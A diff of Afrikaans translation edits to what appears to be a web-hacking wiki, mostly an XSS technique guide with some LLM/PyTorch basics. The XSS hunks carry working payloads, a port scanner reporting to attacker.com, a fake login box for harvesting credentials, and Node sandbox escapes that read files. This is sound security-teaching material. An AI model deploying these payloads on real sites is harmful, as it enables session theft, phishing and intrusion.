4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat wees om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||
```html
|
||||
|
@ -98,7 +98,7 @@ Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of kl
|
|||
|
||||
### Javascript Funksie
|
||||
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
|
||||
Verskeie webblaaie het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
|
||||
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||
|
||||
|
@ -166,15 +166,15 @@ In this case and if no black/whitelisting is used, you could use payloads like:
|
|||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Maar, as tags/atribute swart/blanklysiening gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force atribute/gebeurtenisse** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force attribuut/geleenthede** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
||||
|
||||
### Tags/Gebeurtenisse brute-force
|
||||
### Tags/Geleenthede brute-force
|
||||
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die geleenthede** gebruik makend van die geldige tags (in dieselfde webblad klik op _**Kopieer geleenthede na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
|
||||
### Pasgemaakte tags
|
||||
|
||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om **'n pasgemaakte tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||
As jy nie enige geldige HTML tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS kode met die `onfocus` attribuut uit te voer. In die XSS versoek, moet jy die URL met `#` eindig om die bladsy **fokus op daardie objek** te maak en die kode te **uitvoer**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -257,7 +257,7 @@ As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep o
|
|||
|
||||
### Binne die tag/ontsnapping van attribuutwaarde
|
||||
|
||||
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](./#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\
|
||||
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](./#injecting-inside-raw-html) genoem word, te gebruik om JS-kode uit te voer.\
|
||||
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
|
@ -273,7 +273,7 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
|||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Binnen die attribuut
|
||||
### Binne die attribuut
|
||||
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël **as jy al die waarde of net 'n deel daarvan beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
|
@ -303,7 +303,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Omhels binne gebeurtenis met Unicode-kodering**
|
||||
**Omgewing binne gebeurtenis met Unicode-kodering**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Plekke waar jy hierdie protokolle kan inspuit**
|
||||
|
||||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>`)
|
||||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -359,13 +359,13 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Moreover, there is another **nice trick** for these cases: **Selfs al jou invoer binne `javascript:...` URL-gecodeer is, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, if you need to **escape** from the **string** using a **single quote** and you see that **dit word URL-gecodeer**, remember that **dit maak nie saak nie,** it will be **interpreted** as a **single quote** during the **execution** time.
|
||||
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gecodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gecodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
|
||||
Let daarop dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **nie** **sal** **werk** nie, maar jy kan **hulle meng binne die payload**.
|
||||
|
||||
**Gebruik Hex en Octal kodering met `javascript:`**
|
||||
|
||||
|
@ -416,7 +416,7 @@ Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-
|
|||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
En in **meta tags**:
|
||||
En in **meta-tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -424,7 +424,7 @@ En in **meta tags**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n versteekte attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutel kombinasie** te druk. Op Firefox Windows/Linux is die sleutel kombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutel kombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor:
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutel kombinasie** te druk. Op Firefox Windows/Linux is die sleutel kombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutel kombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -472,13 +472,13 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
|
|||
|
||||
In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
||||
|
||||
### Ontsnapping van \<script> etikette
|
||||
### Ontsnapping \<script> etiket
|
||||
|
||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
|
||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik **die sluiting van die `<script>`** etiket ontsnap:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat die identifisering van bladsy-elemente insluit, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
|
||||
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
|
||||
|
||||
### Binne JS-kode
|
||||
|
||||
|
@ -595,7 +595,7 @@ console.log(log)
|
|||
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**JavaScript sonder haakies**
|
||||
**JavaScript sonder hakies**
|
||||
````javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
|
@ -743,7 +743,7 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo
|
|||
{% endcontent-ref %}
|
||||
|
||||
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om dit te benut**.\
|
||||
Vergeet ook nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
|
||||
Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Opgradering van Self-XSS
|
||||
|
||||
|
@ -767,7 +767,7 @@ As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrat
|
|||
|
||||
Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
|
||||
|
||||
## Ander Bypass
|
||||
## Ander Bypasses
|
||||
|
||||
### Genormaliseerde Unicode
|
||||
|
||||
|
@ -779,7 +779,7 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die
|
|||
```
|
||||
### Ruby-On-Rails omseiling
|
||||
|
||||
As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
|
||||
As gevolg van **RoR massatoewysing** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
|
||||
Formulier voorbeeld ([uit hierdie verslag](https://hackerone.com/reports/709336)), as jy die payload stuur:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -822,22 +822,22 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS met kopinspuiting in 'n 302 antwoord
|
||||
|
||||
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan inspuit**, kan jy probeer om die **blaaier te dwing om arbitrêre JavaScript uit te voer**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-kop kan toets en kyk of enige van hulle die blaaier toelaat om die XSS payload binne die liggaam te inspekteer en uit te voer.\
|
||||
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-kop_, `resource://`.
|
||||
|
||||
### Slegs Letters, Nommers en Punte
|
||||
|
||||
As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
|
||||
As jy in staat is om die **callback** aan te dui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
|
||||
|
||||
### Geldige `<script>` Inhoudstipes vir XSS
|
||||
### Geldige `<script>` Inhoud-Tipes vir XSS
|
||||
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoudstype** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoud-tipe** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:
|
||||
|
||||
> Weier om skrip van ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
|
||||
|
||||
Die enigste **Inhoudstipes** wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Die enigste **Inhoud-Tipes** wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -895,7 +895,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Hierdie gedrag is in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) gebruik om 'n biblioteek na eval te herverdeel om dit te misbruik, dit kan XSS onttrigger.
|
||||
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
|
||||
```html
|
||||
|
@ -952,7 +952,7 @@ Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YAC
|
|||
|
||||
### XS Jails Ontsnapping
|
||||
|
||||
As jy net 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
|
||||
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -1006,7 +1006,7 @@ Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moont
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry:
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1088,7 +1088,7 @@ trigger()
|
|||
|
||||
### Iframe Lokval
|
||||
|
||||
Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
|
||||
Laat die gebruiker in die bladsy navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
|
@ -1179,7 +1179,7 @@ q.shift()();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Port Scanner (fetch)
|
||||
### Poort Skandeerder (fetch)
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
|
@ -1202,7 +1202,7 @@ _Short times indicate a responding port_ _Longer times indicate no response._
|
|||
|
||||
Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Bok om vir akrediteerbesonderhede te vra
|
||||
### Bokse om vir akrediteerbesonderhede te vra
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
|
@ -1311,7 +1311,7 @@ Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
|||
```
|
||||
### Regex - Toegang tot Verborgen Inhoud
|
||||
|
||||
Van [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende voorwerpe te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
|
||||
Van [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende objekte te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1446,7 +1446,7 @@ Find **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ Gewoonlik word 'n LLM gekarakteriseer deur die konfigurasie wat gebruik word om
|
|||
|
||||
* **Parameters**: Parameters is die **leerbare gewigte en vooroordele** in die neurale netwerk. Dit is die getalle wat die opleidingsproses aanpas om die verliesfunksie te minimaliseer en die model se prestasie op die taak te verbeter. LLMs gebruik gewoonlik miljoene parameters.
|
||||
* **Kontekslengte**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
|
||||
* **Inbedigingsdimensie**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik biljoene dimensies.
|
||||
* **Inbedigingsdimensie**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik miljarde dimensies.
|
||||
* **Verborge Dimensie**: Die grootte van die verborge lae in die neurale netwerk.
|
||||
* **Aantal Lae (Diepte)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
|
||||
* **Aantal Aandagkoppe**: In transformermodelle, dit is hoeveel aparte aandagmeganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
|
||||
|
@ -41,7 +41,7 @@ In PyTorch, 'n **tensor** is 'n fundamentele datastruktuur wat dien as 'n multi-
|
|||
|
||||
### Tensors as Data Containers
|
||||
|
||||
Vanuit 'n rekenkundige perspektief, funksioneer tensors as houers vir multi-dimensionele data, waar elke dimensie verskillende kenmerke of aspekte van die data kan voorstel. Dit maak tensors hoogs geskik vir die hantering van komplekse datastelle in masjienleer take.
|
||||
Vanuit 'n rekenkundige perspektief, funksioneer tensors as houers vir multi-dimensionele data, waar elke dimensie verskillende kenmerke of aspekte van die data kan voorstel. Dit maak tensors hoogs geskik vir die hantering van komplekse datasets in masjienleer take.
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
|
||||
|
@ -101,7 +101,7 @@ print(tensor2d.shape) # Uitset: torch.Size([2, 2])
|
|||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
* **Transposering van Tensors**: Gebruik `.T` om 'n 2D tensor te transponeer.
|
||||
* **Transposisie van Tensors**: Gebruik `.T` om 'n 2D tensor te transponeren.
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
|
@ -132,17 +132,17 @@ In die hart van outomatiese differensiasie is die **kettingreël** van calculus.
|
|||
|
||||
Wiskundig, as `y=f(u)` en `u=g(x)`, dan is die afgeleide van `y` ten opsigte van `x`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Berekening Grafiek**
|
||||
|
||||
In AD word berekeninge voorgestel as knope in 'n **berekening grafiek**, waar elke knoop ooreenstem met 'n operasie of 'n veranderlike. Deur hierdie grafiek te traverseer, kan ons afgeleides doeltreffend bereken.
|
||||
In AD, word berekeninge voorgestel as knope in 'n **berekening grafiek**, waar elke knoop ooreenstem met 'n operasie of 'n veranderlike. Deur hierdie grafiek te traverseer, kan ons afgeleides doeltreffend bereken.
|
||||
|
||||
3. Voorbeeld
|
||||
|
||||
Kom ons oorweeg 'n eenvoudige funksie:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Waar:
|
||||
|
||||
|
@ -152,7 +152,7 @@ Waar:
|
|||
|
||||
Ons wil die gradiënt van die verlies `L` ten opsigte van die gewig `w` en vooroordeel `b` bereken.
|
||||
|
||||
**4. Handmatige Gradiënt Berekening**
|
||||
**4. Berekening van Gradiënte Handmatig**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -261,22 +261,22 @@ for name, param in net.named_parameters():
|
|||
if param.requires_grad:
|
||||
print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
In this code:
|
||||
In hierdie kode:
|
||||
|
||||
* **Forward Pass:** Bereken die uitsette van die netwerk.
|
||||
* **Backward Pass:** `loss.backward()` bereken die gradiënte van die verlies ten opsigte van alle parameters.
|
||||
* **Parameter Update:** `optimizer.step()` werk die parameters op gebaseer op die berekende gradiënte.
|
||||
* **Parameter Update:** `optimizer.step()` werk die parameters op grond van die berekende gradiënte.
|
||||
|
||||
### **5. Understanding Backward Pass**
|
||||
### **5. Verstaan van Backward Pass**
|
||||
|
||||
Tydens die terugwaartse pas:
|
||||
Tydens die backward pass:
|
||||
|
||||
* PyTorch traverseer die berekeningsgrafiek in omgekeerde volgorde.
|
||||
* PyTorch beweeg deur die berekeningsgrafiek in omgekeerde volgorde.
|
||||
* Vir elke operasie, pas dit die kettingreël toe om gradiënte te bereken.
|
||||
* Gradiënte word in die `.grad` eienskap van elke parameter tensor geakkumuleer.
|
||||
* Gradiënte word bymekaargebring in die `.grad` eienskap van elke parameter tensor.
|
||||
|
||||
### **6. Advantages of Automatic Differentiation**
|
||||
### **6. Voordele van Outomatiese Differensiasie**
|
||||
|
||||
* **Efficiency:** Vermy oorbodige berekeninge deur tussenresultate te hergebruik.
|
||||
* **Accuracy:** Verskaf presiese afgeleides tot masjienpresisie.
|
||||
* **Ease of Use:** Elimineer handmatige berekening van afgeleides.
|
||||
* **Effektiwiteit:** Vermy oorbodige berekeninge deur tussenresultate te hergebruik.
|
||||
* **Nauwkeurigheid:** Verskaf presiese afgeleides tot masjienpresisie.
|
||||
* **Gebruiksgemak:** Elimineer handmatige berekening van afgeleides.
|
||||
|
|
|
@ -2,10 +2,10 @@
|
|||
|
||||
## Aandagmeganismes en Self-Aandag in Neurale Netwerke
|
||||
|
||||
